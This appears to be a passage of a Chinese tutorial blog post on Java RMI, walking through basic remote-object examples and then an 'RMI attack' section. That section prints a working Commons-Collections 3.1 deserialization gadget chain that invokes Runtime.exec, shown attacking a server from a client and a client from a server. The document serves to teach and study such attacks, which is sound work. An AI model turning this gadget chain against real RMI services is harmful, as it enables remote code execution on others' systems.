import java.io.Serializable;

public class PersonEntity implements Serializable {
    private int id;
    private String name;
    private int age;

    public void setId(int id) {
        this.id = id;
    }

    public int getId() {
        return id;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public int getAge() {
        return age;
    }
}

定义一个远程接口

远程接口必须继承java.rmi.Remote接口，且抛出RemoteException错误：

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface PersonService extends Remote {
    public List<PersonEntity> GetList() throws RemoteException;
}

开发接口的实现类

建立PersonServiceImpl实现远程接口，注意此为远程对象实现类，需要继承UnicastRemoteObject（如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法）：

public class PersonServiceImpl extends UnicastRemoteObject implements PersonService {

    protected PersonServiceImpl() throws RemoteException {
      // TODO Auto-generated constructor stub
        super();
    }

    @Override
    public List<PersonEntity> GetList() throws RemoteException {
        // TODO Auto-generated method stub
        System.out.println("Get Person Start!");
        List<PersonEntity> personList = new LinkedList<PersonEntity>();

        PersonEntity person1 = new PersonEntity();
        person1.setAge(3);
        person1.setId(0);
        person1.setName("0range");
        personList.add(person1);

        PersonEntity person2 = new PersonEntity();
        person2.setAge(18);
        person2.setId(1);
        person2.setName("Wind");
        personList.add(person2);
        return personList;
    }
}

创建Server和Registry

其实Server和Registry可以单独运行创建，其中Registry可通过代码启动也可通过rmiregistry命令启动，这里只进行简单的演示，将Server和Registry的创建、对象绑定注册表等都写到一块，且Registry直接代码启动：

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Program {
    public static void main(String[] args) {
        try {
            PersonService personService=new PersonServiceImpl();
            //注册通讯端口
            LocateRegistry.createRegistry(9898);
            //注册通讯路径
            Naming.rebind("rmi://127.0.0.1:9898/PersonService", personService);
            System.out.println("Service Start!");
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

创建客户端并查找调用远程方法

这里我们通过Naming.lookup()来查找RMI Server端的远程对象并获取到本地客户端环境中输出出来：

import java.rmi.Naming;
import java.util.List;

public class Client {
    public static void main(String[] args){
        try{
            //调用远程对象，注意RMI路径与接口必须与服务器配置一致
            PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:9898/PersonService");
            List<PersonEntity> personList=personService.GetList();
            for(PersonEntity person:personList){
                System.out.println("ID:"+person.getId()+" Age:"+person.getAge()+" Name:"+person.getName());
            }
        }catch(Exception ex){
            ex.printStackTrace();
        }
    }
}

最后，我们看下模拟运行的场景。

先启动Server和Register，开启成功后显示“Server Start!”，然后运行Client程序，可以看到客户端成功获取到了在Register注册的Server中的远程对象的内容：

几个函数

这里小结下几个函数：

bind(String name, Object obj)：注册对象，把对象和一个名字name绑定，这里的name其实就是URL格式。如果该名字已经与其他对象绑定，则抛出NameAlreadyBoundException错误；

rebind(String name, Object obj)：注册对象，把对象和一个名字name绑定。如果改名字已经与其他对象绑定，不会抛出NameAlreadyBoundException错误，而是把当前参数obj指定的对象覆盖原先的对象（更暴力）；

lookup(String name)：查找对象，返回与参数name指定的名字所绑定的对象；

unbind(String name)：注销对象，取消对象与名字的绑定；

经典例子

这里我再写一个例子，用于强化。

首先我还是生成一个接口，叫它 IRemoteMath 。

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
    // 所有方法必须抛出RemoteException
    public double add(double a, double b) throws RemoteException;
    public double subtract(double a, double b) throws RemoteException;

}

这个远程接口必须继承Remote类；

内部抽象方法必须都有throw RemoteException

接下来我写一个接口的实现类，叫做 RemoteMath 。

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject，以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

    private int numberOfComputations;

    protected RemoteMath() throws RemoteException {
        numberOfComputations = 0;
    }

    @Override
    public double add(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = "
                + numberOfComputations);
        return (a+b);
    }

    @Override
    public double subtract(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = "
                + numberOfComputations);
        return (a-b);
    }

}

这个类其实就是接口实现类

实现接口的全部方法，这个不必多说@override

必须继承UnicastRemoteObject

用它来实现接口中声明的所有抽象方法，它就是接口的实现类。

接下来是第一个关键角色Server，这里我是把Server和RMI Registry合在一起，实现如下：

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {

    public static void main(String[] args)  {

        try {
            // 注册远程对象,向客户端提供远程对象服务。
            // 远程对象是在远程服务上创建的，你无法确切地知道远程服务器上的对象的名称，
            // 但是,将远程对象注册到RMI Registry之后,
            // 客户端就可以通过RMI Registry请求到该远程服务对象的stub，
            // 利用stub代理就可以访问远程服务对象了。
            IRemoteMath remoteMath = new RemoteMath();
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            registry.bind("Compute", remoteMath);
            System.out.println("Math server ready");
            // 如果不想再让该对象被继续调用，使用下面一行
            // UnicastRemoteObject.unexportObject(remoteMath, false);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

在这里，首先


       接口=new 实现类

，用到了Java多态，从这里开始也是用接口去注册，用接口去迎接；

接下来注册一个端口，默认是1099；

接下来将名字与接口实现类对象绑定，上面就是“Compute”和remoteMath

之后客户端就可以通过RMI Registry请求到该远程服务对象的stub了

客户端实现：

public class MathClient {

    public static void main(String[] args) {

        try {
            // 如果RMI Registry就在本地机器上，URL就是:rmi://localhost:1099/hello
            // 否则，URL就是：rmi://RMIService_IP:1099/hello
            //Registry registry = LocateRegistry.getRegistry("localhost");
            // 从Registry中检索远程对象的存根/代理
            //IRemoteMath remoteMath = (IRemoteMath) registry.lookup("Compute");
            IRemoteMath remoteMath=(IRemoteMath) Naming.lookup("rmi://127.0.0.1:1099/Compute");
            // 调用远程对象的方法
            double addResult = remoteMath.add(5.0, 3.0);
            System.out.println("5.0 + 3.0 = " + addResult);
            double subResult = remoteMath.subtract(5.0, 3.0);
            System.out.println("5.0 - 3.0 = " + subResult);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

首先Naming.lookup去寻找Compute服务，用接口去迎接，拿到远程对象

拿到远程对象之后，通过它去调用远程方法，实现整个流程

结果截图：

多说两句

这里说明一下，当执行 Registry registry = LocateRegistry.createRegistry(1099); 的时候，返回的registry对象类是sun.rmi.registry.RegistryImpl，其内部的ref，也就是sun.rmi.server.UnicastServerRef，持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。

而服务端以及客户端，执行 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); 返回的是sun.rmi.registry.RegistryImpl_Stub。

当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时，在其父类UnicastRemoteObject中，会对当前对象进行导出，返回一个当前对象的stub，也就是HelloService_stub，在其执行 registry.bind("hello", helloService); 的时候，会把这个stub对象，发送到RMI Registry存根。

当客户端执行 HelloService helloService = (HelloService) registry.lookup("hello") 的时候，就会从RMI Registry获取到服务端存进去的stub。

接着客户端就可以通过stub对象，对服务端发起一个远程方法调用 helloService.sayHello() ，stub对象内部存储了如何跟服务端联系的信息，以及封装了RMI的通讯实现细节，对开发者完全透明。

RMI攻击实例

定义一个接口

sayHello

public interface RemoteHello extends Remote {
    String sayHello(String name) throws RemoteException;
    String exp1(Object work) throws RemoteException;
    Object exp2() throws Exception;
}

定义接口实现类

其中：

exp1是客户端攻击服务端接口；

exp2是服务端攻击客户端接口；

public class RemoteHelloImpl implements RemoteHello {
    @Override
    public String sayHello(String name) throws RemoteException {
        return String.format
          ("Hello, %s!", name);
    }

    @Override
    public String exp1(Object exp) throws RemoteException {
        System.out.println("exp1 is " + exp);
        return "exp1";
    }

    @Override
    public Object exp2() throws Exception {
        System.out.println("exp2");
        return payload();
    }
    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

Server&Registry

创建RMI Registry，创建远程对象，绑定Name和远程对象，运行RMI服务器

public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        try {
            //实例化对象
            RemoteHello h = new RemoteHelloImpl();
            //用于导出远程对象，将此服务转换为远程服务接口
            RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
            //// 将RMI服务注册到1099端口:
            LocateRegistry.createRegistry(1099);
            // 注册此服务，服务名为"Hello":
            //Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
            Naming.rebind("Hello", h);
            System.out.println("[*]Biding is OVER!");
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

    }
}

Client

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        // 连接到服务器localhost，端口1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接口:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调用接口方法:
        String rs = h.sayHello("0range");
        // 打印调用结果:
        System.out.println(rs);
    }
}

以上为基本操作，接下来进行攻击。

JDK:1.7u21

JAR:Commons-Collections3.1

Maven;

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

客户端攻击服务器

先上代码：

public class PoC_Client2Server {
    public static void main(String[] args) throws Exception {

        // 连接到服务器localhost，端口1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接口:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调用接口方法:
        //String rs = h.sayHello("rai4over");
        String rs = h.exp1(payload());
        // 打印调用结果:
        System.out.println(rs);
    }


    public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

结果如图：

如果客户端传递给服务端恶意序列化对象，服务端反序列化这个对象时，就会调用对象的 readObject 就会遭到攻击。

服务器攻击客户端

反之，服务端同样可以通过恶意反序列化数据攻击客户端。

先上代码：

public class PoC_Server2Client {
    public static void main(String[] args) throws Exception {

        // 连接到服务器localhost，端口1099:
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 查找名称为"Hello"的服务并强制转型为Hello接口:
        RemoteHello h = (RemoteHello) registry.lookup("Hello");
        // 正常调用接口方法:
        //String rs = h.sayHello("rai4over");
        //String rs = h.exp1(payload());
        Object rs = h.exp2();
        // 打印调用结果:
        System.out.println(rs);
    }
}

攻击截图：

总结

对于第一种客户端攻击服务器，其实是客户端自己有payload恶意函数，序列化对象发送给服务器时进行反序列化，造成漏洞触发。

第二种服务器攻击客户端，其实是服务器内部本身就有payload恶意函数，当对象请求调用的时候，服务器将序列化对象返还给客户端，客户端本地进行反序列化，漏洞遭到触发。

1. 序言
2. RMI概念简述
3. RMI和序列化的缘分
4. RMI代理模式
5. 工厂模式
6. java.rmi包简介
7. RMI动态类加载
8. 编写RMI的步骤
9. 经典例子
1. 9.1. 多说两句
10. RMI攻击实例
11. 总结